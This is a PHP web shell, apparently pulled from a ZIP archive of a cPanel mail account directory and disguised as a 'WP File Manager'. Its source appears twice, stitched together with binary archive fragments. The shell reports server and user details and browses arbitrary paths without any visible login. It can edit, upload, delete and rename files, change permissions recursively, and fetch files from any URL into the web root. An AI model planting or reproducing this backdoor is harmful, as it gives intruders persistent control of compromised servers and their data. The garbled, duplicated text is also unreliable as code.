'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]Œ'‡hBB#lulzim.maliqi@pelasgus.al/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. [addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK PK‘&{]„N9³§Ë§Ë lulzim.maliqi@pelasgus.al/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
